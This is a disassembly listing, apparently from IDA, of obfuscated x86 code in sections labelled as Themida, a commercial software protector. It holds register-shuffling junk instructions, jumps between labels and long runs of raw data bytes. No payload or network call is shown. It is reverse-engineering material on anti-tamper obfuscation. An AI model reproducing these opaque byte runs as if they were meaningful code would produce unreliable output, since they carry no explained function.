		dd 4812424h, 424h, 0C5815D00h, 4, 66CA68h, 8F55E900h, 0ED81FFFFh
		dd 26D048F9h, 0BE56DDF7h, 0C30A6791h, 0FF22B4E9h, 0E9C301FFh
		dd 0FFFEC2B4h, 0E904EC83h, 0FFFF1303h, 7F74F9B9h, 0E9E1D110h
		dd 19Ah, 29E93104h, 83FFFEEBh, 0E2E904ECh
		db 13h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64936F:				; CODE XREF: Themida_:0063C69Bj
		and	edi, ebp
		jmp	loc_64485A
; ---------------------------------------------------------------------------
		dw 6853h
		dd 0F230A7Bh, 8F99E95Bh, 1431FFFFh, 24143324h, 0E924248Bh
		dd 0FFFF4F55h, 0EF37E955h, 148BFFFFh, 0E6895624h, 4C681h
		dd 0C6810000h, 4, 0FF39DCE9h, 885859FFh, 0C7885BD8h, 0C1E95958h
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6493BB:				; CODE XREF: Themida_:0063B461j
		pop	esp


loc_6493BC:				; CODE XREF: Themida_:0063A584j
		sub	esp, 4
		jmp	loc_640091
; ---------------------------------------------------------------------------
		dd 335EF201h, 14312414h, 24143324h, 49F9E95Ch, 0E883FFFFh
		dd 13F02DFFh, 0B6E9353Ah, 83FFFEFAh, 27E904EFh,	0BDFFFFCFh
		dd 4, 875DEA01h, 815C2414h, 4C2h, 56BE5600h, 0E90D6211h
		dd 0FFFFBE8Dh, 35FFE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64940E:				; CODE XREF: Themida_:0063CE9Dj
		push	ecx
		jmp	loc_6410F5
; ---------------------------------------------------------------------------
		dd 35C98159h, 521D5E0Bh, 0E805B2BAh, 0E9D2F745h, 0FFFF396Ch
; ---------------------------------------------------------------------------


loc_649428:				; CODE XREF: Themida_:00646DE6j
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 33C06F6Bh
		sub	ebx, 4B53776h
		xor	ebx, 5F4A67E7h
		jmp	loc_637FA0
; ---------------------------------------------------------------------------
		db 1
		dd 5C85E9D3h, 0E95CFFFFh, 0FFFFC8B8h, 4C196368h, 240C8B31h
		dd 8104C483h, 4ECh, 241C8900h, 3849AEBBh, 0EECDE9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_649472:				; CODE XREF: Themida_:006374FAj
		sub	eax, esi
		pop	esi
		add	eax, edx
		add	eax, 30E87967h
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 762F2E9Ch
		add	edx, eax
		jmp	loc_643D94
; ---------------------------------------------------------------------------
		db 83h
		dd 0C48304C4h, 45A2C04h, 379CE9BCh, 8951FFFFh, 4C181E1h
		dd 81000000h, 4E9h, 240C8700h, 2424895Ch, 46850h, 48B0000h
		dd 4C48124h, 1000000h, 58042444h, 5E2434FFh, 0FFA29AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6494D1:				; CODE XREF: Themida_:00647F9Dj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_637C21
; ---------------------------------------------------------------------------
		dw 8149h
		dd 0B27F39F1h, 59C801F0h, 8158C229h, 421548C2h,	0F29DE942h
		dd 3C8BFFFFh, 4C48324h,	8359C801h, 148904ECh, 3482E924h
		dd 0C381FFFFh, 3D830B6Eh, 0FF0E20E9h, 242C89FFh, 0C1815D59h
		dd 2957715Ch, 566668h, 24348900h, 0FFE994E9h, 0F5295BFFh
		dd 77F7ED81h, 515E6EE9h, 4246A0B9h, 8C5CE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64955E:				; CODE XREF: Themida_:00649D91j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		and	eax, ecx
		jmp	loc_63CC53
; ---------------------------------------------------------------------------


loc_649575:				; CODE XREF: Themida_:0063D1C6j
		push	eax
		jmp	loc_643C29
; ---------------------------------------------------------------------------
		db 5Eh
		dd 3E40C681h, 0B3681022h, 0E9000051h, 0FFFEC511h
; ---------------------------------------------------------------------------


loc_64958C:				; CODE XREF: Themida_:006426D6j
		mov	[esp], ebx
		mov	ebx, 5831152Bh
		jmp	loc_63D9DF
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 0D3h
		dd 144774Dh, 0B9515DEEh, 0BC776D3h, 6DC1F181h, 0D0E97804h
		dd 66FFFF6Ch, 5024048Bh, 0B951E089h, 4F864407h,	8904EC83h
		dd 9AE92434h, 81FFFEFAh, 3D3573EEh, 0BA525932h,	4, 875AD601h
		dd 248B2434h, 2434FF24h, 8124148Bh, 4C4h, 49685600h, 0E900001Eh
		dd 0FFFF46C4h
; ---------------------------------------------------------------------------


loc_6495F8:				; CODE XREF: Themida_:0063C8FBj
		mov	ebp, 15771DC8h
		jmp	loc_63EF1D
; ---------------------------------------------------------------------------


loc_649602:				; CODE XREF: Themida_:0063E3D8j
		sub	edi, 535609FFh
		jmp	loc_640882
; ---------------------------------------------------------------------------
		db 0D1h, 0E5h, 81h
		dd 0A24F42EDh, 1C58374h, 700DF581h, 27E98ADAh, 80FFFF3Bh
		dd 0D58864C2h, 0E9FD005Ah, 0FFFF3FA5h, 29CABB53h, 0D8293677h
		dd 0FFCB12E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_64963D:				; CODE XREF: Themida_:0063A068j
		push	edi
		mov	edi, 57FD2303h
		inc	edi
		add	edi, 331A6A60h
		jmp	loc_63777F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4C48300h, 81FFC283h, 0A77116CAh, 903BE97Ch, 0D5BEFFFFh
		dd 0E924C776h, 8D6h, 0DCC3815Dh, 52641E3Ah, 0FF657DE9h
		dd 51D0F7FFh, 45B42B9h,	59C83171h, 0FF0D7235h, 7D4AE97Bh
		dd 2C8BFFFFh, 86E95624h
		db 19h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64969B:				; CODE XREF: Themida_:006448D6j
		pop	edx
		add	eax, 0FFFFFFFFh
		xor	eax, 0FA0D01CDh
		add	edx, eax
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	edx
		mov	edx, 200000h
		mov	esi, edx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_63D926
; ---------------------------------------------------------------------------


loc_6496D8:				; CODE XREF: Themida_:0063EB38j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		push	ebx
		mov	ebx, 2E183EEFh
		shl	ebx, 5
		sub	ebx, 3D761EFCh
		shr	ebx, 3
		jmp	loc_6394B0
; ---------------------------------------------------------------------------
		align 4
		dd 44EB80CBh, 592434FFh, 0FEFB21E9h, 240C89FFh,	0C181E189h
		dd 4, 0FF7A5CE9h, 0ED814DFFh, 834DB13Ch, 0E95DEB01h, 0FFFFD885h
; ---------------------------------------------------------------------------


loc_649730:				; CODE XREF: Themida_:00641F05j
		mov	[esp], edi
		mov	edi, 84CBCBFCh
		add	eax, edi
		pop	edi
		add	esi, eax
		pop	eax
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		jmp	loc_6489F4
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4FBC4373h, 0FFF8CBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_649755:				; CODE XREF: Themida_:0063CCBDj
		xchg	eax, [esp]
		jmp	loc_63E5E3
; ---------------------------------------------------------------------------


loc_64975D:				; CODE XREF: Themida_:0063DB1Dj
		add	eax, 4
		push	esi
		push	ecx
		push	eax
		mov	eax, 0CC16B0Fh
		xor	eax, 6B010F78h
		sub	eax, 6CC10558h
		or	eax, 41F1716Ch
		sub	eax, 0F66F4E67h
		mov	ecx, eax
		pop	eax
		push	eax
		mov	eax, 70EB263Dh
		inc	eax
		jmp	loc_645457
; ---------------------------------------------------------------------------
		db 66h,	81h, 0F3h
		dd 89661CB3h, 0C6D9E9DAh, 5756FFFEh, 1C4842BFh,	4FD7F752h
		dd 0CE9DFF7h, 54FFFEF5h, 8124148Bh, 4C4h, 0A5ADE900h, 8BBAFFFFh
		dd 4A5C4044h, 0D8DEC281h, 0C2E9CEC5h, 0BEFFFF85h, 17855426h
		dd 0FF005FE9h, 2986BEFFh, 0EE81045Ch, 0D6EA0908h, 815EF201h
		dd 0AF56A5C2h, 1EA833Ah, 0FFE95642h, 89FFFFE8h,	0C3895FF8h
		dd 44C38158h, 0C149C332h, 35E908E3h, 51FFFEE9h,	0C181E189h
		dd 4, 4C181h, 0C870000h, 24248B24h, 5C241C87h, 0FEDEEBE9h
		dd 8BF001FFh, 0C4812434h, 4, 8904EC83h,	0E5BF243Ch, 5066182Eh
		dd 49996857h, 0E95F52CDh, 0FFFF2B1Ch, 0FEBD58E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_64984D:				; CODE XREF: Themida_:00635694j
		push	edx
		jmp	loc_640186
; ---------------------------------------------------------------------------


loc_649853:				; CODE XREF: Themida_:00637E8Bj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_63BF99
; ---------------------------------------------------------------------------


loc_64985E:				; CODE XREF: Themida_:00646345j
		push	edx
		jmp	loc_640B69
; ---------------------------------------------------------------------------
		dd 4BEh, 0E6EB8100h, 1309211h, 584EE9F3h, 0C89FFFFh, 9A14B924h
		dd 0BF57229Dh, 2FFD1619h, 0FEDA25E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_649889:				; CODE XREF: Themida_:0064AA95j
		mov	eax, 307F5990h
		xor	eax, 7AD14F26h
		xor	eax, 1003215Bh
		sub	eax, 1
		neg	eax
		inc	eax
		jmp	loc_643454
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0C5h
		dd 6D222359h, 23E9D501h, 0B8FFFF15h, 7C67B916h,	2958C689h
		dd 243C8BFEh, 0FFD6FEE9h, 0E9FE29FFh, 0FFFF94E5h
; ---------------------------------------------------------------------------


loc_6498CC:				; CODE XREF: Themida_:00645DFBj
		push	dword ptr [esp]
		pop	edi
		jmp	loc_639B99
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 33000000h, 4312404h,	24043324h, 2434FF5Ch, 582434FFh
		dd 4C481h, 0EC830000h, 243C8904h, 6EEC68h, 48F5400h, 16F66824h
		dd 0C890000h, 4B924h, 4C010000h, 0C8B0424h, 9DE6824h, 0C890000h
		dd 81E18924h, 4C1h, 4BD5500h, 81000000h, 0BD3E21E9h, 81E90101h
		dd 0BD3E21C1h, 0C875D01h, 0BCE95C24h
		db 0Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_649943:				; CODE XREF: Themida_:00645A02j
		dec	dword ptr [esp]
		pop	ebx
		add	ebx, 3487291Dh
		jmp	loc_646E8F
; ---------------------------------------------------------------------------
		dw 5AB3h
		dd 0F6FDEB80h, 80CBFED3h, 0EC8106F3h, 4, 0B1240C89h, 0E9D1F664h
		dd 0FFFFDF69h
; ---------------------------------------------------------------------------


loc_649970:				; CODE XREF: Themida_:0063A2C1j
		add	ebp, 4
		push	ebx
		push	eax
		mov	eax, 7BA33E29h
		jmp	loc_641A80
; ---------------------------------------------------------------------------
		dw 0DA29h
		dd 83241C8Bh, 0E2C104C4h, 0E9DAF702h, 0FFFFD75Dh, 0E98734FFh
		dd 0FFFF5BA0h, 3B95E950h, 0C481FFFFh, 4, 8904EC83h, 9ABA2414h
		dd 425EE76Ch, 5DE9D2F7h
		db 7, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_6499BB:				; CODE XREF: Themida_:00635669j
		xchg	edi, [esp]
		jmp	loc_645103
; ---------------------------------------------------------------------------
		db 89h
		dd 243C8BFAh, 4C481h, 0F9E90000h, 0FEFFFEF8h, 0FED2F6CAh
		dd 8EAC0C2h, 0F280EAD0h, 5AD52857h, 0FF1A93E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6499E9:				; CODE XREF: Themida_:006430DCj
		shr	ecx, 7
		push	41FDh
		mov	[esp], ecx
		mov	ecx, 1Ch
		push	ebp
		mov	ebp, 18BB3A7Eh
		add	ebp, 3F15163Ah
		add	ecx, ebp
		pop	ebp
		push	edx
		push	ecx
		mov	ecx, 411E7225h
		shl	ecx, 8
		xor	ecx, 36D7A72h
		not	ecx
		xor	ecx, 5BA76C2h
		add	ecx, 419F847Eh
		dec	ecx
		not	ecx
		add	ecx, 780F327Ch
		shr	ecx, 6
		xor	ecx, 2A595ABBh
		xor	ecx, 2B9B1DFBh
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_642631
; ---------------------------------------------------------------------------


loc_649A4E:				; CODE XREF: Themida_:00635E6Ej
		mov	edi, 17DA0D9Dh
		xor	edi, 20AB2933h
		mov	ecx, edi
		jmp	loc_63D04C
; ---------------------------------------------------------------------------
		dd 15A5E52h, 0B1E95EF2h, 81FFFFA2h, 4ECh, 61DAE900h, 0E821FFFFh
		dd 0E952405Dh, 0FFFED2CCh, 0E92434FFh, 0FFFEC420h, 42474FFh
		dd 53240C8Bh, 0C381E389h, 4, 4C381h, 1C870000h,	48F5C24h
		dd 0D798E924h, 5BEFFFEh, 510CB7Dh, 34B0359Eh, 9E2DF001h
		dd 0E934B035h, 0FFFF2D18h, 0BEB6E959h, 2C89FFFFh, 0DBFE924h
		dd 0C281FFFFh, 4B7026B8h, 0EA81F201h, 4B7026B8h, 8124348Bh
		dd 4C4h, 449EE900h, 0B7B0FFFFh,	4EC81h,	0C890000h, 0E9C58824h
		dd 0FFFFCA61h, 51241C89h, 0FEE690E9h, 0B65266FFh, 3959E92Ch
		dd 31ADFFFFh, 0D5E955D8h, 88FFFEC0h, 0DE8EE9D5h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_649B1E:				; CODE XREF: Themida_:0064929Cj
		and	edi, 59B87DEBh
		jmp	loc_63A059
; ---------------------------------------------------------------------------


loc_649B29:				; CODE XREF: Themida_:006454E3j
		push	ecx
		push	5FA14268h
		jmp	loc_6428C2
; ---------------------------------------------------------------------------
a4ms		db '4m',0Dh,0
		dw 8100h
		dd 4ECh, 24348900h, 19144EBEh, 8BF529DFh, 0C4812434h, 4
		dd 0FF57A7E9h, 755168FFh, 2C890000h, 0E9E58924h, 526h
; ---------------------------------------------------------------------------


loc_649B68:				; CODE XREF: Themida_:006453EEj
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_63F553
; ---------------------------------------------------------------------------
		db 80h
		dd 0C18001E9h, 0AD9EE955h, 0DFBAFFFFh, 812F503Ah, 725203EAh
		dd 0E9D2F72Bh, 0FFFF0334h
; ---------------------------------------------------------------------------


loc_649B90:				; CODE XREF: Themida_:00649308j
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_649E1C
; ---------------------------------------------------------------------------


loc_649BA0:				; CODE XREF: Themida_:00643FD6j
		pop	ebx
		not	dh
		jmp	loc_64593F
; ---------------------------------------------------------------------------


loc_649BA8:				; CODE XREF: Themida_:006435C9j
		pop	esp
		jmp	loc_648E21
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 4B85024h, 1000000h, 0E9042444h, 0FFFF15F4h, 7A0FE95Bh
		dd 0EC83FFFFh, 242C8904h, 215468h, 24248900h, 0FEBD24E9h
		dd 241489FFh, 4EC81h, 1C890000h, 80C8E924h, 483FFFFh, 0E95D0424h
		dd 0FFFF8661h, 2B8h, 0E9C78900h, 0FFFFE9F6h
; ---------------------------------------------------------------------------


loc_649C00:				; CODE XREF: Themida_:0063B5EDj
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	5C57h
		mov	[esp], eax
		jmp	loc_63F29A
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FED14BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_649C21:				; CODE XREF: Themida_:00643547j
		shl	dl, 1
		neg	dl
		push	eax
		mov	ah, 1Dh
		inc	ah
		jmp	loc_647C19
; ---------------------------------------------------------------------------
		db 1
		dd 14875BDAh, 3E95C24h,	81FFFED9h, 3D042444h, 5E547978h
		dd 56242C8Bh, 0C681E689h, 4, 8704C683h,	565C2434h, 0FFFB6EE9h
		dd 241C89FFh, 25291ABBh, 96F38175h, 155F521h, 2434FFDEh
		dd 4C4835Bh, 4C68359h, 31243433h, 34332434h, 24248B24h
		dd 8B2434FFh, 0C483240Ch, 30FE6804h, 3C890000h,	0E2895224h
		dd 4C281h, 0EA830000h, 74FF5204h, 9E90424h, 80FFFF85h
		dd 0E288A6ECh, 0FFC4E958h, 8B66FFFEh, 0EC81240Ch, 4, 54240489h
		dd 2C8BE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_649CCA:				; CODE XREF: Themida_:0063EE81j
		mov	edx, ebx
		pop	ebx
		inc	edx
		sub	edx, 1
		shr	edx, 1
		sub	edx, 0FFFFFFFFh
		sub	edx, 2EEE2A1Eh
		mov	ebx, edx
		pop	edx
		jmp	loc_63B440
; ---------------------------------------------------------------------------
		db 56h
		dd 1FCACEBEh, 30B9E90Bh, 48FFFFFh, 74F0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_649CFA:				; CODE XREF: Themida_:0064647Bj
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_6436C6
; ---------------------------------------------------------------------------


loc_649D09:				; CODE XREF: Themida_:00637870j
		push	edi
		mov	edi, 0CEA2391h
		neg	edi
		push	ecx
		push	0C612497h
		push	dword ptr [esp]
		jmp	loc_643627
; ---------------------------------------------------------------------------
		db 54h
		dd 4C7815Fh, 83000000h,	3C8704EFh, 1C895C24h, 64E95424h
		dd 66FFFFEDh, 83240C8Bh, 0D80002C4h, 96B15166h,	2C6CE980h
		dd 4C80068h, 66596668h,	0E9241C8Bh, 0FFFFA6DAh,	0A076E3BFh
		dd 0B9EF8135h, 0E910374Ch, 0FFFEF492h
; ---------------------------------------------------------------------------


loc_649D68:				; CODE XREF: Themida_:00647B64j
		mov	ebx, [esp]
		push	esi
		jmp	loc_63594F
; ---------------------------------------------------------------------------


loc_649D71:				; CODE XREF: Themida_:00635858j
		pop	ebx
		add	edi, 0ECBF8117h
		sub	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebp, eax
		push	ebx
		mov	ebx, 58AE0A49h
		jmp	loc_647C21
; ---------------------------------------------------------------------------


loc_649D90:				; CODE XREF: Themida_:0063946Bj
		pop	ecx
		jmp	loc_64955E
; ---------------------------------------------------------------------------


loc_649D96:				; CODE XREF: Themida_:0063BB6Dj
		add	ah, bl
		pop	bx
		jmp	loc_643647
; ---------------------------------------------------------------------------
		db 81h
		dd 4C48DEE2h, 50D2F777h, 0BFBFDFB8h, 0BBEA81EDh, 291A135Fh
		dd 0BBC281C2h, 0E91A135Fh, 0FFFEC3CEh, 99C5E951h, 0D989FFFFh
		dd 0FFCE48E9h, 0BA525FFFh, 4, 0FFD793E9h, 0E68956FFh, 0FF233BE9h
		dd 1C781FFh, 1E8A2A0h, 0CF015FF9h, 8B2434FFh, 0ACE9240Ch
		dd 8BFFFF8Fh, 66E9241Ch, 1FFFF28h, 0DA1FE9CAh, 685DFFFFh
		dd 473Dh, 68242C89h, 3497h, 0E9242489h,	0FFFFFDCEh
; ---------------------------------------------------------------------------


loc_649E1C:				; CODE XREF: Themida_:00649B9Bj
		pop	edx
		jmp	loc_63ACE2
; ---------------------------------------------------------------------------


loc_649E22:				; CODE XREF: Themida_:006455ACj
		sub	esi, edx
		jmp	loc_637A1C
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 4
		dd 87000000h, 895C240Ch, 4BD242Ch, 1000000h, 34875DEEh
		dd 3C1BE924h, 0EB80FFFFh, 0A2B65294h, 0FF400AE9h, 243C87FFh
		dd 0FF0076E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_649E59:				; CODE XREF: Themida_:00648F99j
		add	esp, 4
		sub	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_63AC0B
; ---------------------------------------------------------------------------
		dw 0D689h
		dd 8BF3295Ah, 89562434h, 4C681E6h, 0E9000000h, 0FFFF309Bh
		dd 3B42F781h, 83E9313Ch, 80FFFF2Ah, 0C6FEC3C6h,	0CE80D6F6h
		dd 0DCFAE9D4h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_649E96:				; CODE XREF: Themida_:0064831Dj
		sub	edx, 4
		jmp	loc_64003E
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0FF5970E9h, 2434FFFFh, 8124048Bh, 4C4h, 4EC8100h, 89000000h
		dd 0EC83242Ch, 7A61E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_649EC6:				; CODE XREF: Themida_:0063BCF1j
		and	eax, ebp
		pop	ebp
		jmp	loc_63C5FC
; ---------------------------------------------------------------------------
		dw 489h
		dd 11E95424h, 52FFFF61h, 8324048Bh, 5F5004C4h, 0ABE95A58h
		db 56h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_649EE7:				; CODE XREF: Themida_:0063A239j
		xor	ebp, edx
		pop	edx
		shr	ebp, 4
		xor	ebp, 20D44C2h
		jmp	loc_635D0F
; ---------------------------------------------------------------------------
		dd 24E9E089h, 50FFFF77h, 58241CF7h, 56C5BF57h, 0BA5208AAh
		dd 3F455FC4h, 16EBEA81h, 0DE9036Ah, 0C1FFFF60h,	0F18106E9h
		dd 2FE124D0h, 0FFB8F3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_649F29:				; CODE XREF: Themida_:006486EAj
		pop	esp
		movsx	ecx, ax
		push	1FD5h
		jmp	loc_63601C
; ---------------------------------------------------------------------------


loc_649F37:				; CODE XREF: Themida_:00644C28j
		mov	[esp], esi
		push	eax
		push	213629DBh
		pop	eax
		jmp	loc_6492EF
; ---------------------------------------------------------------------------
		dw 0F301h
aBiEP		db '^e~',0Bh,'',0
		db 0E9h, 4Fh, 0B6h
		dd 0E931FFFEh, 83242C8Bh, 0BD5504C4h, 4DEE0AD4h, 0F068B951h
		dd 0CD29333Ch, 0FFA718E9h, 8844B5FFh, 0D2F659EAh, 511FEA80h
		dd 0EC88D588h, 81240C8Bh, 4C4h,	0B4505A00h, 13F3E9C4h
		dd 3C33FFFFh, 0BA4FE924h, 555CFFFEh, 0FEF951E9h, 0E9F021FFh
		dd 0FFFFB341h, 9C241CF6h, 0FEB5F4E9h, 0E7BD55FFh, 810A9414h
		dd 3B23A2C5h, 40CD8158h, 56197849h, 115142BEh, 9FE96Bh
		dd 0D2E9FFFFh
		db 0B5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_649FD3:				; CODE XREF: Themida_:00647E2Fj
		add	esp, 4
		jmp	loc_64804E
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 243C8700h, 0FF9853E9h,	4C481FFh, 0E9000000h, 0FFFED3ADh
; ---------------------------------------------------------------------------


loc_649FF4:				; CODE XREF: Themida_:0063C87Fj
		push	29AAh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		sub	edx, 6BA545C2h
		add	edx, edi
		push	ecx
		push	5C72h
		jmp	loc_64726B
; ---------------------------------------------------------------------------
		dd 4C4815Eh, 68000000h,	197Ch, 68241C89h, 74F22664h, 84E9435Bh
		dd 0B8FFFFEFh, 5C26297h, 0FEE470E9h, 4C181FFh, 83000000h
		dd 0C8704C1h, 0F7BFE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_64A05E:				; CODE XREF: Themida_:00639D9Bj
		not	ecx
		jmp	loc_63EBF6
; ---------------------------------------------------------------------------
		db 64h,	66h, 0Fh
		dd 835702B6h, 0E95404ECh, 0FFFFFB3Ah, 0E92434FFh, 0FFFFCA21h
; ---------------------------------------------------------------------------


loc_64A07C:				; CODE XREF: Themida_:0063FDFCj
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_63FDBC
; ---------------------------------------------------------------------------
		db 50h,	52h, 0B2h
		dd 8EDEE972h, 5153FFFFh, 676B68h, 24148900h, 0B16C6ABAh
		dd 0CA81427Bh, 5987118Fh, 0FCBCC281h, 0B850FF39h, 6E090C4Ah
		dd 4C76855h, 815D55EEh,	463BFCDh, 8EDC14Bh, 0AB66C581h
		dd 69E9155Ch, 0F7FFFF73h, 2271E9DFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64A0D2:				; CODE XREF: Themida_:00638C48j
		pop	ebx
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	edx, edi
		jmp	loc_646DD6
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C48158h, 51000000h,	0D20AB4B9h, 0DBBA5221h,	0E918D353h
		dd 0FFFFF049h, 4BD555Ah, 1000000h, 242C8BE8h, 4C481h, 4870000h
		dd 24248B24h, 0FF64C2E9h, 0EC8152FFh, 4, 52240C89h, 0C018E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64A12A:				; CODE XREF: Themida_:00645A0Ej
		add	ecx, 48BC5627h
		sub	ecx, 7B304667h
		sub	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 38916275h
		and	esi, 167F16D1h
		shr	esi, 1
		xor	esi, 73ACD893h
		sub	eax, esi
		jmp	loc_648685
; ---------------------------------------------------------------------------


loc_64A15C:				; CODE XREF: Themida_:0063646Bj
		add	edi, 4
		jmp	loc_63E822
; ---------------------------------------------------------------------------


loc_64A167:				; CODE XREF: Themida_:0064AB58j
		add	eax, ebx
		jmp	loc_645E6C
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFF9CF1h
; ---------------------------------------------------------------------------


loc_64A174:				; CODE XREF: Themida_:0063C805j
		push	737Bh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_645A5D
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FFF6E5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_64A191:				; CODE XREF: Themida_:0063733Bj
		pop	ebp
		mov	eax, esi
		pop	esi
		neg	eax
		jmp	loc_6426D3
; ---------------------------------------------------------------------------
		dd 4C481h, 0DE90000h, 52FFFF06h, 363847BAh, 19E7BB01h
		dd 0D3016E88h, 8124148Bh, 4C4h,	4E2EE900h, 2268FFFFh, 0E9000043h
		dd 0FFFEE4BEh, 3E4DC181h, 3C8B12F8h, 6C7D6824h,	78E90000h
		dd 0ACFFFFE9h, 9B35366h, 5B66D828h, 0FF030AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_64A1ED:				; CODE XREF: Themida_:0064221Fj
		add	edx, 81943CDh
		sub	edi, edx
		pop	edx
		sub	esi, edi
		pop	edi
		push	esi
		pop	ebp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_63FA86
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 295489F1h, 47C2819Eh, 133DC04h, 0B264E9CAh, 0E581FFFFh
		dd 4BDD1D7Bh, 0E7BED81h, 0D5F704FAh, 5CBDED81h,	0EA29D1FCh
		dd 0FF0EBAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_64A235:				; CODE XREF: Themida_:006385C8j
		dec	esi
		xor	esi, 2FFB5228h
		jmp	loc_6485E5
; ---------------------------------------------------------------------------


loc_64A241:				; CODE XREF: Themida_:0064AA01j
		push	6BD8h
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebx
		mov	ebx, 4
		sub	esi, ebx
		pop	ebx
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 59E95003h
		xor	[esp+4], esi
		mov	esi, [esp]
		jmp	loc_635E7B
; ---------------------------------------------------------------------------
		dd 81665E66h, 0E9040FC7h, 0FFFFD47Bh, 0F69E581h, 0C5810C98h
		dd 0F3FFFEBBh, 67E9E901h, 28FFFFE9h, 0B8CFE9C7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64A2A6:				; CODE XREF: Themida_:00642839j
		mov	esi, 2DE103CDh
		push	eax
		mov	eax, 3F4C13BFh
		add	eax, 69F72908h
		xor	eax, 7F8624F5h
		jmp	loc_63EAC3
; ---------------------------------------------------------------------------


loc_64A2C0:				; CODE XREF: Themida_:00637961j
		add	edx, esi
		pop	esi
		dec	edx
		jmp	loc_640A71
; ---------------------------------------------------------------------------
		db 0B8h, 8Ah, 50h
		dd 0C6317315h, 0CD8BE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64A2D6:				; CODE XREF: Themida_:0063C548j
		mov	edx, esp
		jmp	loc_638E7F
; ---------------------------------------------------------------------------


loc_64A2DD:				; CODE XREF: Themida_:00640D47j
		mov	[esp], eax
		push	30h
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 2F9F2B63h
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 1E262889h
		add	ebp, 14880F17h
		xor	ebp, 26A63964h
		xor	ebp, 0B390597h
		xor	ebp, 30AE2030h
		add	eax, ebp
		pop	ebp
		jmp	loc_648646
; ---------------------------------------------------------------------------
		db 5, 4, 0
